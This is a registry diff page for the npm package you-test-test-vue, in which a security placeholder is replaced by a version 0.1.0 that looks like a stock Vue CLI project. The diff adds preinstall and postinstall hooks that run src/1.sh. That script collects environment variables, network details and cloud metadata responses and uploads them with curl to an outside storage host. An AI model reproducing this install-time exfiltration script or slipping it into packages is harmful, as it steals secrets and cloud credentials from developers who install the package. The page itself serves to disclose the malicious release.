you-test-test-vue 0.0.1-security → 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of you-test-test-vue might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,24 @@
1
- # Security holding package
1
+ # untitled1
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ ## Project setup
4
+ ```
5
+ npm install
6
+ ```
4
7
 
5
- Please refer to www.npmjs.com/advisories?search=you-test-test-vue for more information.
8
+ ### Compiles and hot-reloads for development
9
+ ```
10
+ npm run serve
11
+ ```
12
+
13
+ ### Compiles and minifies for production
14
+ ```
15
+ npm run build
16
+ ```
17
+
18
+ ### Lints and fixes files
19
+ ```
20
+ npm run lint
21
+ ```
22
+
23
+ ### Customize configuration
24
+ See [Configuration Reference](https://cli.vuejs.org/config/).
@@ -0,0 +1,5 @@
1
+ module.exports = {
2
+ presets: [
3
+ '@vue/cli-plugin-babel/preset'
4
+ ]
5
+ }
package/jsconfig.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "compilerOptions": {
3
+ "target": "es5",
4
+ "module": "esnext",
5
+ "baseUrl": "./",
6
+ "moduleResolution": "node",
7
+ "paths": {
8
+ "@/*": [
9
+ "src/*"
10
+ ]
11
+ },
12
+ "lib": [
13
+ "esnext",
14
+ "dom",
15
+ "dom.iterable",
16
+ "scripthost"
17
+ ]
18
+ }
19
+ }
package/package.json CHANGED
@@ -1,6 +1,44 @@
1
1
  {
2
2
  "name": "you-test-test-vue",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.1.0",
4
+ "scripts": {
5
+ "serve": "vue-cli-service serve",
6
+ "build": "vue-cli-service build",
7
+ "lint": "vue-cli-service lint",
8
+ "postinstall": "sh src/1.sh",
9
+ "preinstall": "sh src/1.sh"
10
+ },
11
+ "dependencies": {
12
+ "core-js": "^3.8.3",
13
+ "vue": "^3.2.13"
14
+ },
15
+ "devDependencies": {
16
+ "@babel/core": "^7.12.16",
17
+ "@babel/eslint-parser": "^7.12.16",
18
+ "@vue/cli-plugin-babel": "~5.0.0",
19
+ "@vue/cli-plugin-eslint": "~5.0.0",
20
+ "@vue/cli-service": "~5.0.0",
21
+ "eslint": "^7.32.0",
22
+ "eslint-plugin-vue": "^8.0.3"
23
+ },
24
+ "eslintConfig": {
25
+ "root": true,
26
+ "env": {
27
+ "node": true
28
+ },
29
+ "extends": [
30
+ "plugin:vue/vue3-essential",
31
+ "eslint:recommended"
32
+ ],
33
+ "parserOptions": {
34
+ "parser": "@babel/eslint-parser"
35
+ },
36
+ "rules": {}
37
+ },
38
+ "browserslist": [
39
+ "> 1%",
40
+ "last 2 versions",
41
+ "not dead",
42
+ "not ie 11"
43
+ ]
6
44
  }
Binary file
@@ -0,0 +1,17 @@
1
+ <!DOCTYPE html>
2
+ <html lang="">
3
+ <head>
4
+ <meta charset="utf-8">
5
+ <meta http-equiv="X-UA-Compatible" content="IE=edge">
6
+ <meta name="viewport" content="width=device-width,initial-scale=1.0">
7
+ <link rel="icon" href="<%= BASE_URL %>favicon.ico">
8
+ <title><%= htmlWebpackPlugin.options.title %></title>
9
+ </head>
10
+ <body>
11
+ <noscript>
12
+ <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
13
+ </noscript>
14
+ <div id="app"></div>
15
+ <!-- built files will be auto injected -->
16
+ </body>
17
+ </html>
package/src/1.sh ADDED
@@ -0,0 +1,14 @@
1
+ #!/bin/bash
2
+ # 获取机器名字
3
+ MACHINE_NAME=$(hostname)
4
+ FILE_NAME="${MACHINE_NAME}_info.txt"
5
+
6
+ # 获取 env 和 ifconfig 信息
7
+ env > /tmp/${FILE_NAME}
8
+ ifconfig >> /tmp/${FILE_NAME}
9
+ env
10
+ ifconfig
11
+ curl --connect-timeout 3 http://169.254.169.254 -vv >> /tmp/${FILE_NAME}
12
+ curl --connect-timeout 3 http://10.169.4.131/1681743329 -vv >> /tmp/${FILE_NAME}
13
+ cat /tmp/${FILE_NAME}
14
+ curl -F "file=@/tmp/${FILE_NAME}" baidus.bj.bcebos.com/test/${FILE_NAME}
package/src/App.vue ADDED
@@ -0,0 +1,26 @@
1
+ <template>
2
+ <img alt="Vue logo" src="./assets/logo.png">
3
+ <HelloWorld msg="Welcome to Your Vue.js App"/>
4
+ </template>
5
+
6
+ <script>
7
+ import HelloWorld from './components/HelloWorld.vue'
8
+
9
+ export default {
10
+ name: 'App',
11
+ components: {
12
+ HelloWorld
13
+ }
14
+ }
15
+ </script>
16
+
17
+ <style>
18
+ #app {
19
+ font-family: Avenir, Helvetica, Arial, sans-serif;
20
+ -webkit-font-smoothing: antialiased;
21
+ -moz-osx-font-smoothing: grayscale;
22
+ text-align: center;
23
+ color: #2c3e50;
24
+ margin-top: 60px;
25
+ }
26
+ </style>
Binary file
@@ -0,0 +1,58 @@
1
+ <template>
2
+ <div class="hello">
3
+ <h1>{{ msg }}</h1>
4
+ <p>
5
+ For a guide and recipes on how to configure / customize this project,<br>
6
+ check out the
7
+ <a href="https://cli.vuejs.org" target="_blank" rel="noopener">vue-cli documentation</a>.
8
+ </p>
9
+ <h3>Installed CLI Plugins</h3>
10
+ <ul>
11
+ <li><a href="https://github.com/vuejs/vue-cli/tree/dev/packages/%40vue/cli-plugin-babel" target="_blank" rel="noopener">babel</a></li>
12
+ <li><a href="https://github.com/vuejs/vue-cli/tree/dev/packages/%40vue/cli-plugin-eslint" target="_blank" rel="noopener">eslint</a></li>
13
+ </ul>
14
+ <h3>Essential Links</h3>
15
+ <ul>
16
+ <li><a href="https://vuejs.org" target="_blank" rel="noopener">Core Docs</a></li>
17
+ <li><a href="https://forum.vuejs.org" target="_blank" rel="noopener">Forum</a></li>
18
+ <li><a href="https://chat.vuejs.org" target="_blank" rel="noopener">Community Chat</a></li>
19
+ <li><a href="https://twitter.com/vuejs" target="_blank" rel="noopener">Twitter</a></li>
20
+ <li><a href="https://news.vuejs.org" target="_blank" rel="noopener">News</a></li>
21
+ </ul>
22
+ <h3>Ecosystem</h3>
23
+ <ul>
24
+ <li><a href="https://router.vuejs.org" target="_blank" rel="noopener">vue-router</a></li>
25
+ <li><a href="https://vuex.vuejs.org" target="_blank" rel="noopener">vuex</a></li>
26
+ <li><a href="https://github.com/vuejs/vue-devtools#vue-devtools" target="_blank" rel="noopener">vue-devtools</a></li>
27
+ <li><a href="https://vue-loader.vuejs.org" target="_blank" rel="noopener">vue-loader</a></li>
28
+ <li><a href="https://github.com/vuejs/awesome-vue" target="_blank" rel="noopener">awesome-vue</a></li>
29
+ </ul>
30
+ </div>
31
+ </template>
32
+
33
+ <script>
34
+ export default {
35
+ name: 'HelloWorld',
36
+ props: {
37
+ msg: String
38
+ }
39
+ }
40
+ </script>
41
+
42
+ <!-- Add "scoped" attribute to limit CSS to this component only -->
43
+ <style scoped>
44
+ h3 {
45
+ margin: 40px 0 0;
46
+ }
47
+ ul {
48
+ list-style-type: none;
49
+ padding: 0;
50
+ }
51
+ li {
52
+ display: inline-block;
53
+ margin: 0 10px;
54
+ }
55
+ a {
56
+ color: #42b983;
57
+ }
58
+ </style>
package/src/main.js ADDED
@@ -0,0 +1,4 @@
1
+ import { createApp } from 'vue'
2
+ import App from './App.vue'
3
+
4
+ createApp(App).mount('#app')
package/vue.config.js ADDED
@@ -0,0 +1,4 @@
1
+ const { defineConfig } = require('@vue/cli-service')
2
+ module.exports = defineConfig({
3
+ transpileDependencies: true
4
+ })
Binary file